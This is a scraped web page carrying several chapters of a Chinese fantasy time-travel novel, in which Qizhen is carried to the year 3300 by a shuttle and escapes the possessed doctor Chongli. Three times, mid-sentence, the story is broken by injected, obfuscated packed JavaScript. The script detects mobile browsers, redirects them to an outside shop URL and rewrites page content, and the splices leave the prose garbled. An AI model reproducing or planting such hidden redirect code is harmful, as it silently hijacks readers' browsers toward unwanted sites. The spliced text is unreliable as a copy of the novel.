“只要你安全我们就立于不败之地,山上人的性命,重离的事……爹爹有什么不能处理?” 凡心直接上手拉栖真,时间有限,与其说理,不如把她拉走,可他再次震惊了! 他一出手居然没抓到人,就见栖真身体一偏直接躲过,反应神速,哪像不会武的素人。 栖真心思全在风宿恒那头,凡心说得对,只要宿恒来了就没问题,可她忽然想起现在他们面对的重离——直到今天才知C博士,C……原来博士的名字叫“重离”——是掌控宿恒生死,可弹指取他性命的人。让宿恒去料理他,不是以卵击石? 栖真躲过凡心的手,一转身就觉眼前袭来一道黑影,脖子被卡住了。 望进那双朝夕相处的眼,那双眼对她总是耽着柔情,此刻却垂着,看她和看蝼蚁没有差别。 一边的凡心懵了,爹爹疯了?居然对他妈妈出手? 纵使面前是敬爱之人,他仍第一时间击向风宿恒手腕,“爹爹放手!” 谁知手刀劈到腕前就被风宿恒撅住,手骨咔哒脆声,被猛力推开。 凡心痛呼,发现自己手腕竟被生生折断! 一只手捏上风宿恒卡着脖子的手臂,怒意昭彰的声音在洞内响起:“你敢…伤他!” 如今结界已破,山上再不禁法术,凡心冷汗涔涔,给断骨施加疗愈术。耳听得碎石裂金,他睁眼一看,惊得下巴掉下来。 他父皇,他已经入了绝迹的爹爹,居然被抡向洞壁,砸得山石四分五裂。 而刚才还被掐着脖子无法动弹的栖真双眼冒火,熊熊青焰燃在周身。 他妈烧起来了! 就见她丢下风宿恒,以迅雷不及掩耳之势朝远处石座上的重离袭去。 栖真只知重离可判人生死,不知他居然还能掌控宿恒神智。 适才被风宿恒卡住脖颈,两相对视,那双眼中没有一点波动。好,好得很!风宿恒要捏死她,还什么情绪都没有。这要还是风宿恒本人,就给她回家跪榴莲去。 在恢复的记忆中,博士不可能去做重离的行径,风宿恒就更不可能!把神识当食物,对之极端贪婪的至始至终只有一个——吞噬者。 在天宫时,吞噬者只以吞噬狼和天眼形象出现,但谁能保证它不能附身人类? 栖真很确定,如今占据重离身体的是吞噬者,而非博士本人。 吞噬者当初用雷恒骨灰救过宿恒,可能就在那时在宿恒体内植入了某种控制。想要风宿恒恢复神智,与之缠斗是没用的,她必须干掉罪魁祸首。再不济也要拉重离下台,不能让他接触石座上的按钮。 重离知道栖真向他而来,但他只顾在扶手上操作。 聚荷池里散乱的神识球霎时拢到一起,池内孕化出足球大小的透明胶囊。所有神识压缩再压缩,裹在胶囊内,落到灰色平台上。 栖真飞身时捕捉到这些动静,但手中火球没有改变方向,径直向重离袭去。 可惜火球还未袭到石台,便被妖风吹散。一道身影挡在栖真面前。 “宿恒,听得到我说话吗?还能控制自己的话就给我让开!” 风宿恒漠然地看着栖真,用实际行动给予回答——风箭呼啸,毫不犹豫直射栖真心口。 栖真推手一个青焰与之相抵。 真是怒了! 当年宿恒为失手一箭整整懊悔五年,如今吞噬者竟敢操控他的身体让往事重演,简直可恶到极点。 好在这次,她不再是过去的栖真;这次,她不会给宿恒机会伤她,不会让他清醒后追悔莫及。 断骨已复,凡心奔入洞中,就见他弱不禁风的娘亲大人居然在和爹爹过招。 “妈妈!爹爹!你们打什么呀?” 这场景太魔幻!即便容绽和风宿恒对阵都讨不到好,可他妈居然招架得住风宿恒! 趁两人无暇分身,重离步下台阶,从聚荷池下沿拉开翻盖,托起胶囊看了两眼。 栖真知道要近重离身抢胶囊是不行了,无论她怎么闪身,风宿恒都如影随形挡在面前。 “愣着做什么!”栖真一个火球轰开山顶,对身后人喊。 凡心心领神会——她将风宿恒引出洞,让他快点料理重离。凡心立马祭出橙弓,风箭唰一下朝重离背影袭去。 山顶轰开一角,碎石掉落,隆隆声掩盖一箭之威,重离正抬头躲避碎石,身体忽被一箭洞穿,往前趔趄数步,扑倒在地。 凡心知道不能让重离死,把重离提出崩塌区,扔在台阶上,到石台上瞅了一眼,那一扶手按键全标着他看不懂的鸟语。 “怎么让神识回去?”凡心揪住重离衣襟,把人从地上提起。 那箭射穿左肋,伤了肺叶,张口就有血沫,可重离脸上讥笑,抱紧神识球道:“是我的,都是我的!” 小孩抢到玩具不撒手的表情出现在一个人高马大的成年男子身上,太不正常了!凡心不寒而栗,重重揍在重离脸上。 几拳下去他心头浮起疑问——这样一个毫无武力值可言的人,是怎么把他妈困在山上整整四年的?爹爹见过重离,若那时就用武力压制,一切早结束了吧? 重离视线牢牢锁住凡心双眸,吃力得问:“你是栖真什么人?” 凡心揪住他衣领:“说,怎么把神识还回去!” 重离在脑中检索面前似曾相识的脸,得出结论:“你是诺亚人的后代,难怪没办法……” 凡心听不懂,但知道靠拳头是不行了,只好死马当活马医,回去把按键按了个遍。 很快石洞就像活了一样,擦擦几声,样板房、洞壁上的屏幕、从地底升起的各种装置,齐刷刷从空无一物的洞壁伸出来。而原本灯都没按一个的洞壁出现一条条臂长的蓝白相间的光带,横竖交织,像电子元件启动时的画面。 山洞霎时透亮。 栖真早对洞里的高科技见怪不怪,因为她很早就意识到这洞穴只是表面看起来全天然,里面全是机械装置和电子神经元。 凡心却是首次进洞,没想到会在古代见到这种场景。正在他一脸懵逼时,就听脚底传来轰隆声,石座右侧地面打开,有升降台从地底升起。 样板房和屏幕出现方式诡异,至少还看得懂,可随升降台出现的东西,他却完全猜不透。 那应该是一台舱室,有点像没有后翼和螺旋桨的直升机舱。 “竟然充满了!”重离也为此物的出现而吃惊,两眼放光,抱着胶囊蹒跚往舱室去。 凡心从石阶跃下去抓重离,可擦着鼻尖,一排旋风炮打得他不得不就地滚开。 “爹!过分了啊!”凡心对头上洞口吼。 爹爹明明被引出去,和妈妈在天上打作一团,居然还能分心对付他,为重离进入舱室争取时间。 刹那,舱室里电子元件亮起,伴以顺滑的机械启动音。 重离瘫在驾驶椅上,面容呈现失血过多的青白,闭眼喘了口气,再睁开时瞳孔就变了样,不再是人类正常的瞳仁,而是冰蓝的机械瞳。 他从舱室的透明顶望出去,抬手打了个响指。 “带公主来穿梭仪。”舱室内响起无机质的命令。 风宿恒直冲栖真面门,一掌击向她腹部。 每日同床共枕,彼此的气息都刻在心里。眼睛跟不上风宿恒速度,可熟悉的气息让栖真立刻意识到他在哪里,本能地往后一退。 即将击上栖真的一瞬,风宿恒整条手臂像被一股反力牵制,硬生生撤了势头,只是堪堪撩过栖真腹部。 封印解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043288|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除,栖真恢复了千年来的记忆和能力,但不代表她的肉身就成了铜墙铁壁。即便风宿恒收,她退,那一掌都不好相与。栖真径直砸向地面,幸亏被凡心接住。 凡心见她捂腹,痛到汗如雨下,忙施加疗愈术。 施法需要时间,此时风宿恒从天而降。 “居然打我妈!”凡心将栖真护在怀里,对风宿恒怒目。 就见风宿恒晃了晃,单膝跪地,捂胸大口呕起血来。 明明打人的是他,结果吐血的也是他。 “宿恒在护我。”栖真借力站起,此时他们的敌人绝不是风宿恒。 凡心赶紧施术,可口诀还没念完身边就没了人,就见适才还在吐血的风宿恒抓着栖真瞬间位移,将她直接扔进了穿梭仪。 栖真摔进舱室,回首一看,穿梭仪的舱门落下,而门外,是风宿恒再次变得冰冷的眼。 她一跃扑向重离,抢过他腿上放着的胶囊,擦着落下的舱门投出去,被奔来的凡心抱在怀里。 一切发生得太快! 随着舱门关闭,顺滑的机械音消失,操作台的屏幕出现三十秒倒计时。 栖真见翻动的数字,有不好的预感。 重离浑身浴血,在椅上艰难地动了动身体,栖真抢胶囊他无力阻止,可他并不为失去胶囊而遗憾,只将头靠在椅背,扯出一个得偿所愿的笑。 “之前穿梭仪耗光了超氢能,没想到加充完毕了,我以为还要半年。我原本想半年时间,足够你聚拢整个中土的神识,但现在……”重离咳了一下,说得吃力:“现在没关系了,我们可以去别的时空,只要有你,我想要多少神识就有多少神识。” 栖真怀疑自己耳朵:“别的时空?” “这具身体不顶用了,诺亚人和你的后代天生不受控制,好在去了别的时空,还有大把身体让我选……” 血顺着唇角往下淌,可重离脸上是薄薄的鄙夷之色,与肉身的痛苦并不相符,“人类真是脆弱的生物,博士的身体根本不是你们的对手。” 栖真不要听他感叹,在重离提到“别的时空”时她就疯了,扑到操作台上想把倒计时停下。 那些按键上的文字对凡心而言是鸟语,对她却不是!未来的语言没有多大变化,但天宫有一套通用的电子操作符,当初博士给她定制的课程里学过。 操作台上端有三个并排的红黄绿透明罩,栖真快速拨开红色那个,拍下按钮。 “程序有自动锁定装置,一旦启动无法停下。”重离盯着操作台前仓惶的背影——人类的惊恐对他而言不值一提,公主的恐惧于他却是享受,他能附身人类,唯独对诺亚人无能为力,否则何必花时间等公主觉醒,直接操纵她聚拢神识便好。 数字在翻滚,23、22、21…… 按下红色按钮倒计时仍在继续,关闭穿越程序只怕是不能了。栖真细看操作台,再次按下某个按键,舱门同样没有一点反应。 15、14、13…… 重离嗤笑:“跟你说了没用……程序一旦锁定……开不了门,不如坐下系好保险带。” 栖真当然不可能坐下系保险带,她调出穿梭仪自带的AI,快速下令:“关闭穿越程序!” 舱室内响起机械男声,如判死刑:“主程序倒计时十秒,无法关闭。重复,主程序无法关闭。十、九、八、七……” 栖真四肢冰凉,头脑一片空白。 “穿梭仪要启动了,关不掉!”她趴到窗上对外大喊。 可声音传不出去,高密度材料的机身足以应付穿梭时的重压,区区声波根本穿不透。 凡心猛力揣舱门,但显然,来自未来的高科技材质完全不畏暴力和法术。 而风宿恒从舱门关闭开始,明显不一样了。 从悬窗望出去,就见他跪倒升降台边,豆大的汗从额头滚落。他五指成爪,朝胸口插去。 栖真惊惧:“不!” 6、5、4…… 血飚满地,他从体内拔出五指,向栖真望来…… 那是清醒过来的风宿恒! 3、2、1…… 最后印在视网膜上的,是他按在窗上的血掌和惊恐的眼。 222. 第 222 章 人由千亿粒子构成,却感受不到粒子的存在,在清醒状态□□验粒子拆分是何等恐怖,栖真感受到了。一切尘埃落定,强烈眩晕中,脑中还冒出个可笑的念头——原来“穿越”和被抽水马桶吸走,感官上是一样的! 没来得及绑保险带,惯性让她重重砸向舱壁,耳鸣过去,栖真捂头朝驾驶位看去。重离失血过多瘫在椅上,处于昏迷状态。她忍着呕吐欲扶舱站起,一眼就被窗外景象震住。 今早,就在样板房的屏幕上见过这番景象,栖真立刻意识到穿梭仪究竟把他们带到了哪里。唯有身临其境,才发觉黑漆漆的镜头根本没有传递此地给人带来的震撼之万一。 穿梭仪停在一处高台上,距之三四十米,大型量子计算机的电子元器件彩光跃动,红黄蓝绿的光晕在穿梭仪的悬窗上轮转。 这是整个空间里唯一的动静。 此外就是亘古的沉寂。 往上看,高耸的洞顶代替天幕,吞噬光线,黑洞一般吓人。 舱室视野受限,但栖真知道这片高台的侧面应该连接着长条支架,中央处理器通过支架勾连远处的“生巢”,维持巢内数以万计安置舱的正常运转。而视频中出现的星罗棋布的绿色微光——安置舱上的棺码——如今看来却寥寥无几。 栖真不敢相信自己居然被带回这里。 诺亚纪年! 海底生巢! 前一刻她还身处中土,再睁眼,已是千年后的世界。 人的感知真是奇妙,纵使恐惧充塞心间,大脑还残存一丝理智,那份微薄的理智让栖真意识到一个问题。 在她恢复的记忆中,是没有这个场景的。 既然她也是天宫人,为何她完全没有自己走入这处洞穴,躺进安置舱的记忆? 既然所有的天宫人都来自真实的世界,为何她脑里没有一点自己在诺亚纪元生活的回忆? 漫长岁月里,大草原、山洞、树林、小镇外……好像自有记忆起,她就没离开过那里。 如果这就是她进入天宫后全部的记忆,那之前呢? 栖真想得头痛欲裂,就听身后有“赫赫”的声音,那是气管不畅引起的痛苦喘息。 重离已经睁眼,艰难地支棱起脑袋,抬头的过程中脸上带笑,有一种即将拥抱和吞噬新世界的雄心。 栖真觉得计算机病毒也有七情六欲、也能感受得偿所愿的欣喜这事本身就很荒谬,而如此鲜活的表情出现在重离冰了四年的脸上,更让她难以适应,但所有这些想法只是刹那,很快,栖真就受到了更大的冲击。 重离挣扎着向外看去,表情全变了。 得偿所愿的欣喜消失了,冰蓝的瞳仁缩至一线。 那是受到极度冲击后,不可置信的表情。 “不可能,这是诺亚纪年?不可能!”重离想解开保险带趴去窗边,但双手也像深受打击,一时错乱地解不开。 栖真愤恨地问:“你原本想去哪里?” “系统不这么设置!设定的是2027年,去你的时代,我要……要……” 栖真在操作台上快速操作,调出执行完毕的穿越程序。 大屏幕显示这段程序的结果,栖真扫了一眼,果然是公元2027年4月1日——就是当初她去取雷恒骨灰的那一年。 究竟哪里出了错? 栖真操作滚屏,往下浏览。下面是一行行密密麻麻的小字,应该是程序设定时的注意事项,她的视线停留在其中一行文字上。 那是用英文写就的一行提示,不起眼地藏在上下文间。 “当穿梭仪的感应装置检测到两名驾驶者时,将优先执行以下程序:时空目标锁定为公元3300年。” 栖真连看两遍,不可思议地看向窗外。 现在是公元3300年? 重离说诺亚纪年起源于公元2626年,而他则从3023年穿越到中土。所以,此时是生巢运转后的六百年,距重离来的年代也已经过去两百多年? 问题是,主程序中怎么会有这样一条奇怪的设定呢? 检测到两名驾驶者……就是说当舱内只有一个人时,是可以自行设定时空的;一旦有两个,无论怎么设置,穿梭仪最终只可能抵达一个终点——公元3300年的生巢。 没时间探究为何会有这条奇怪的指令,但栖真确实松了口气。 如果穿梭仪真地带他们去到2027年……她没法想象,那可是遍地活人的世界! 吞噬者可以立刻摆脱重离,转投下一个宿主,再下一个……永无止境。 它可以利用自己能召唤的一切,或用她去大规模聚拢神识,为它的续存提供能量,直到现代世界再无活人。 然后它可以潇洒地坐上穿梭仪,继续跃迁,去到下一个时空,直至那里也不剩一□□气。 周而复始,吞噬者将颠覆人类的历史,获得真正的永生。 但现在,这一切都不可能了! 主屏幕的上端显示着穿梭仪当前超氢能的余量:15.49%,而在下拉的注意事项里,第一行就以红字赫然标出:超氢能至少加充到95%以上,穿越程序才能再次运行。就是说没加充完毕前,她不可能回去中土,吞噬者也不可能离开诺亚。 “栖真……”背后的声调变了,那是记忆中C博士带着温度的语气。 栖真回头,见重离终于解开保险带,捂着伤口想伸手来够她。双眸恢复正常瞳色,眼神是久别重逢的惊喜。 “博士?”栖真上前扶住他颤抖的双臂:“是您?真的是您?” “孩子!”一动血就从伤口洇出,重离靠回椅背,尽量放松自己:“听我说……我们时间有限,你一定要听清楚我接下去说的话……我知道吞噬者附在我身上,为了牵制它我沉睡了一百年……但最后它还是得到了你……对不起,我尽力了……但在刚才,它走了……就在刚才……吞噬者通过系统回去了天宫,所以我们也必须尽快回去……否则没人能阻止它。” 视线投向远处生巢,重离眼中有眷恋和骄傲:“天宫是人类最后的希望…我们要护好它!” 栖真拧眉,抬眸道:“博士,谢谢您为我做的一切,吞噬者在您体内时您一直保有清醒的意识?这几年您一直在看着我?” “你在中土的一切我都知道……四年里我抗争过,想为你打开结界,但是,对不起!” 失血让重离身体发冷,栖真搓着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050042|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,垂眼道:“您能看到一切,应当知道我在中土有爱人和孩子,跟您回天宫我就永远失去他们了,我不能。” “将来你想脱离天宫……回现实世界也不是不可以,但天宫原本就有一切,你会邂逅新人,也可以生孩子……只要回了天宫,你将得到永生,足以容纳很多感情。” 栖真摇头:“不,那不是我要的!” 博士盖住她手背,用了力,强调接下去的话:“你没明白,我们没有选择,我们必须马上回安置舱……穿梭仪要再次启动,必须加充超氢能。” 他让栖真从主控台上调出加充说明:“看到吗?充满至少要五个小时。” “只要五个小时?”栖真惊喜地看着屏幕上的数字。 在她印象里,加充超氢能非常耗时,没想到在海底洞穴,充满只要五个小时。 博士接下去的话却将她升起的希望浇灭,他指向穿梭仪的一侧:“我们如今还能说话……是因为舱内处于密闭状态,氢缆就在舱外,要将氢缆插入穿梭仪的加充口就必须打开舱门到外面去……一旦舱门开启,外面的毒气就会进来,等插好氢缆再回舱室……这里的SI指数会变得极低!没人能在这样的环境中待五个小时,很快会被感染。” 博士的意思栖真听明白了。出去加充,他们会被毒死,不出去,就被彻底困在穿梭仪中,早晚也难逃一死。 放在面前的求生之路只有一条——回安置舱,回天宫! 可她不甘心:“博士,四年前吞噬者成功把我送回现代,又开时空之门让我回到中土,我们能再用一次开门技术吗?” “开门非常消耗超氢能,现在这台穿梭仪能源不足。”博士不想将时间耗费在对现状毫无帮助的解释上了,每耽搁一秒,生命力就流失一分,他吃力道:“栖真……我不是强迫你,但现实没给我们选择,要活下去我们只能回安置舱……这里距生巢一百多米,憋口气就可以过去……即使吸入一些气体,也不至于立时致命……安置舱能做简单的气体净化……保证我们有足够的生命力回到天宫……只要回天宫,再无后顾之忧了!” 栖真再一次将视线投向窗外黑暗阴森的区域,像在目测从这里过去是否只有一百多米。 博士面上有难得的乞求之色:“我一直遵照你母亲的嘱托,没有将你的身世告知,可当初就是在这里,我亲自为你接生……将你带到这个世界……你的母亲来自代表东方文明的皇室……她是皇后,你就是公主,是名副其实的公主……你母后去世前将你托付给我,要我为代表荣耀的皇室延续最后一缕血脉。栖真,我希望……希望你看在是我带你来到这个世界……也是我……咳咳……在天宫抚养你长大……不要抛下我。我们的安置舱就在那里,看到吗?我俩的离得很近……希望你帮我一把……扶我去我的安置舱后再回你的,这用不了你太多时间……不会对你身体造成什么影响。但是我必须回去,天宫是……是……” 栖真凝视他,涌起泫然欲泣的伤心:“我知道天宫是您毕生的心血。” “去看一眼你的母亲吧,她就在你旁边,如果还能坚持,进舱前去看她一眼吧!她在身边整整陪了你四百年。” “好。”栖真泪流满面。 223. 第 223 章 栖真反手擦干眼泪,从操作台上调出AI:“舱外SI指数?” AI机械音:“舱外温度2℃,SI1.2” 1.2…… 重离说在他来的3023年,SI是3.2,看来之后一百多年内里,洞中SI持续下降,如今只有1.2了。 栖真继续:“测算对人体的危害。” AI:“以体重100斤的健康女性为例,在SI1.2的空气中正常呼吸超过一分三十五秒会感染病毒,九分钟内54.1%的内脏将中度溃烂、十八分钟内呼吸衰竭。” 栖真在操作台上快速输入几条指令,关闭系统,转身拥抱了一下重离:“我扶您起来。” 重离的身高和体重对栖真来说有点夸张,但风宿恒那样的体格她现在都可以直接抡,重离更不是大问题。 将重离胳膊搁到肩上,托腰将人扶起。栖真对现世父母记忆淡薄,博士于她有再造之恩,视之为父都不为过。虽然重离一直维持中年人的样貌,但他应该很老很老了,有朝一日博士真地老到走不动,她十分愿意掺扶他一直走下去……栖真和博士对话,放任思绪游离——毕竟最后时刻了! “格朗说天宫运行的动力来自潮汐,以前我不明白,今天来到这里就想通了。当初您选择这处洞穴,不单单为了考虑可容纳性和封闭性,还因为此地可以轻易获得潮汐能。将潮汐能转换成超氢能,生活在天宫的人们就能获得永生。” “你说得没错……潮汐能取之不尽用之不竭……可以为天宫的运行提供持续性的动力。” 重离面色青白,随之起身,胸口又开始渗血,在栖真掺扶下踉跄着往舱门去。 栖真郑重道:“博士,我在天宫得您教导时还不能体会您的伟大,现在我已充分了解这一点,您为人类延续所做的贡献,堪与历史上任何一位伟人相媲美。” 他们终于站到舱门口。 这扇门一旦从下往上开启,再无回头路,他们也再不能面对面说话了。 “只要天宫还剩一个人,就该铭记您为我们付出的一切。”栖真侧首凝视重离,恭敬道:“您准备好了吗?” 重离呛咳,虚弱道:“安置舱的位置……记清楚了吗?” “正对舱门方向,记清楚了。” 他的身体不允许他们再耽搁,重离看向近在咫尺的舱门,视线仿佛透过高密度板材落到远处的生巢——那是他心心念念的归宿。 栖真开始倒计时…… 三 二 一 猛吸口气。 舱门向上打开。 开到刚好容纳两人出去的程度,栖真擦着边沿带重离弯腰跨出穿梭仪。 他们走入绝对寂静的冰窖,封闭百年的气息扑面而来,眼球有轻微刺痛,栖真打了个冷战,憋气扶重离疾步。耳边充斥着宏阔空间的闹声,一时分辨不出是心如鼓擂,还是纯属错觉。 他们步伐配合着,横穿圆台,快速往远处的混沌去。 繁星般闪烁的绿光在视野里越来越明显。 走到圆台正中,栖真忽然垂首低腰,从重离腋下往后退一步,双掌在重离背上重重一推,转身往穿梭仪飞奔。 短短五十步距离她像跑了一个世纪,一个箭步窜进门,随她倒地的还有一声急令:“关门!” 舱门轰然放下。 栖真唰地从裙上撕下一条布巾遮住口鼻,在脑后打个结。抵不住强烈的窒息感,她猛然吸气,缓了一口就捂嘴,让呼吸尽量不要那么急切。 憋住。慢慢吸,快速吐。 舱内明显有一股之前没有的霉味。 她抓住椅背起身,向窗外望去。 被她推倒在台上的人翻了个身,背部着地,竭力想撑起,但他已在强弩之末,没有借力很难靠自己的力量站起来。 两人的视线穿过五十步的距离,透过穿梭仪的悬窗在空中对上。 重离面部扭曲,双眸怨毒到恨不得将窗后的女子撕碎。他嘴巴开闭,口型夸张,明显在怒骂。但穿梭仪隔音太好,栖真一个音节都没听见。 一分钟后,他瞳孔崩裂,被无形的利爪卡住咽喉,用手重重撕扯喉部,胸膛极具起伏,呈现窒息之态。 他终于放弃栖真,手脚并用往生巢爬。开始还有些力气将身体往前拱,但很快痉挛起来,随时间流逝颤抖的幅度越发明显,像覆盐的蛞蝓,拖着残躯爬到台边,彻底没了力,只有竭力向生巢伸去的手臂显露着他的不甘。 之后,重离再没往前挪动一寸,只在原地微微抽搐。他的四肢无法协调,翻面更不可能。几分钟后,挣扎都显得微乎其微,他瘫在那里,成了一具等待冷却的躯壳。 身后,是长长拖尾的血迹。 这具肉身被毒气腐蚀的时间比AI测算的短许多。如果身上没有外露的伤口,他完全可以在感染前跑过最后五十米,躺进安置舱,但空气中的毒趁虚而入,内外夹攻,加倍腐蚀内脏。 没有一具鲜活的□□能在这种情况下挺过十分钟! 这是这具躯体最后的十分钟。 栖真却没有放弃这十分钟。 她很清楚,从飞奔回穿梭仪的那一刻起,她必须为自己的结局去奋战。 所以当重离转身往生巢爬的时间里,她在舱内五指翻飞,输入两条指令。 第一条:三秒后开半米舱门,感应到舱内无人,立刻关门。 第二条:开启舱外声控。 输入完毕,栖真到舱门旁深吸口气,矮身从开启的舱门窜出去,绕到穿梭仪的东南方。 穿梭仪在圆台上有固定的降落位置,那是一个与下端完全契合的基座,约三十厘米高,像铝合金,栖真知道这应该是比铝合金更先进的材料,否则抗不住百年来洞中湿气的腐蚀。 重离说这个方向有加充装置,她必须最快速度给穿梭仪充上。 可是当她绕到穿梭仪后方时着实吓了一跳。 穿梭仪旁,躺着一具人类的白骨。 这种地方怎么会有死人? 栖真忍住尖叫的冲动,靠近去看,发现这具尸骨骨架很大,应该是个男人,呈倒卧姿势,死前可能相当痛苦,因为他四肢摆的角度完全有悖于正常的关节弯度。 这人应该死了很久很久,骨头表面的陈腐和中毒发黑的痕迹相当明显。 而加充的氢缆就被尸骨压在身下,好像这人生前抢夺过氢缆,或正要将插头拔下。 不能再耽搁了,栖真硬着头皮从尸骨身侧抓起臂粗的氢缆,往上一提,压在右肋下的插座一下将骨架掀翻。 骨头相当酥脆,有部分塌成粉末。 栖真挥去扬起的灰,提着方型插头,插入基座上的插口,最快速度跑回门口,叫了声“开门”。 AI根据声控打开一半舱门,栖真闪身进去,门立时自动关闭。 她扑向操作台,看到大屏幕上果然亮起加充的提示,松了口气,才敢恢复吐息。 屏幕上出现电池,波浪滑动的指示线停留在电池下五分之一处,旁边两个数字,一个15.27%,还有一个是刚启动的倒计时,显示314,单位min。 栖真快速调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062340|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出舱内SI。 ——SI41.2。 刚从中土来舱内SI维持在95以上,两次舱门开合,内外空气一流通,舱内现在只有41.2了。 栖真吞咽,为了减少开口不敢再问AI,靠输入指令测算自己剩余的时间。 屏幕上很快给出答案: ——正常呼吸区间:3-3.5h ——内脏腐蚀进度:3-4.5h ——预测死亡时间:4.5-5h 极限死亡时间……5小时 栖真惨笑,加充还要314分钟……她赌了一把,但这次老天爷似乎并不眷顾。 栖真继续输入指令:超氢能加充到95%后立刻启动穿越程序,穿越时空定位为…… 保险起见,她调出系统保留的穿越记录,照样画葫芦输入前次的时空定位,继而又想到什么,在操作台一番摸索,可惜没找到相应的程序模块,只好开口相询:“这台穿梭仪有没有舱内空气自动净化装置?” AI:“为节省舱室体积,没有设置。” 于是栖真果断下了最后一道命令:“关闭AI、供暖和照明,就留加充功能。” AI:“提醒:关闭恒温系统后,室温将在半个小时内降至3℃,根据您目前的穿着,无法维持舒适的体感。请确认,是否要将恒温系统关闭?” 栖真:“关闭。” AI:“祝您一切顺利。” 室内光照霎时熄灭,只有屏幕上的电池和两个跳动的数字显示中枢还在运行。 栖真终于得空将注意力调回窗外。 眼睁睁看着最后一点生命迹象从远处匍匐的身躯上抽离,抽搐的指尖归于平静,巨大的悲伤将栖真拢住。 她对窗外鞠躬,若一切属实,那方向不仅有她老师的英灵,还有她前世的母亲。 吞噬者为了引骗,居然说是博士在四百年前为她接生,可她明明是现代人!她在能量液中恢复记忆,知道诺亚时代的栖真早在那场大战中因能量耗竭死去。 栖真茫然地站了一会儿,返身落座,从身上再次撕下一片衣料,擦拭扶手上残留的血迹,但血迹凝固,一时半会儿擦不掉了。她将衣料覆盖住椅子扶手,让刺痛她的红从视野里消失,脱力般瘫在椅上。 无光的穿梭仪像被整个世界抛弃,独自停留在历史遗忘的洞底,这里明明是容纳生命的地方,却像荒芜的坟堆。 舱内昏暗,屏幕上的红色数字随节电模式黯淡下去,外间孤寂轮转的彩光是空间里唯一醒目的存在。光晕在窗上刮出轮条,栖真再次看向悬窗。 那里也有血迹。 在悬窗下部,一个纹路清晰的血手印。 栖真过去将手掌贴上。 在脑里召唤饕餮:“混蛋,我死了,你还能宿在我的身体里吗?” 混蛋:“我们一体,您的死亡就是我的死亡。” 栖真:“不知道五个小时后我会怎样,也不知回去洞里什么情形。我若失去意识,你能帮我找宿恒、凡心或阿绽吗?他们任何一个在,我们就不会死。” 混蛋:“只要主人还有一口气,我尽力。” 栖真道声谢,结束对话。 舱内低温构不成威胁,调动神识转几个周天就不会觉得冷,没什么需要分神了,现在她唯一要做的就是进入低频呼吸状态,想尽一切办法挺过去。 栖真开始打坐,这还是当初她在香在无心处时学来的。 五个小时……只要五个小时就能再见。 今晚,还来得及对宿恒诉说她的感谢。 224. 第 224 章 冬日飘雪,金光万丈城银装素裹。 冬夜将至,城中热闹非凡。五条主干道上熙熙攘攘,摊位挨挤地望不到尽头,璞丽的瓜果,容北的矿珠,东部的海盐……琳琅满目的吃食和诸多首次面世的的手工艺品排成长龙。胡笳和羌笛的乐声、不遗余力的叫卖声,同摩肩接踵的欢声笑语交织一片。 靠近皇宫这头的大街上,打擂台似的,两处最大的摊位足足占了一里地。 左边以蓝墙黑瓦装饰的长棚出自万仞山可能宫。架上林林总总,全是最新印制的书籍。除学科和科普类,大部经典、漫画和文学也有一席之地。文创用品更是单辟长排,铅笔、铅画纸、书签、便利贴、书夹皆有陈列。 右边则是装饰风格前卫的山海遥,展示的新玩意儿更是数不胜数,从改良的自行车、自动浇水机、轻型轮椅、护理床,到沙发、拉杆箱、眼镜、面膜,甚至卫生巾和情趣内衣。 史书记载,大容第一届光影璀璨年货节上,全国五百家商户齐聚金光万丈城,展示的商品不仅仅是衣食住行上全方位的变革,更是思想上的极致超越。那代表人们出行更加便捷,临终关怀更上一个台阶,并为女性独立意识的崛起创造了客观条件。 当然,这些意义不体现在当下,但时间会给予证明。 礼官来宴上通报良辰将至,引大容王登上城头。太子本该在后面的朝臣队伍中,被风宿恒叫上前并肩同行。礼官是前朝人,遵循旧制,想进谏这不合规矩,被大容王一眼扫过后噤若寒蝉。 城下翘首以盼的欢呼在城墙上出现盛装的身影时达到高潮,继而是风吹麦粒般下跪的人潮,百姓不畏大雪沾污衣袍,发自内心想跪一跪自己的君王,山呼万岁的声音交相掺杂,绵延不绝响彻城郭。 百姓来自大容各地,富商巨贾、草木愚夫在此云集。无论身家背景,脸上皆有笑容和叹服,对明天无比积极,于未来心怀憧憬,不再是一群散漫的个体。 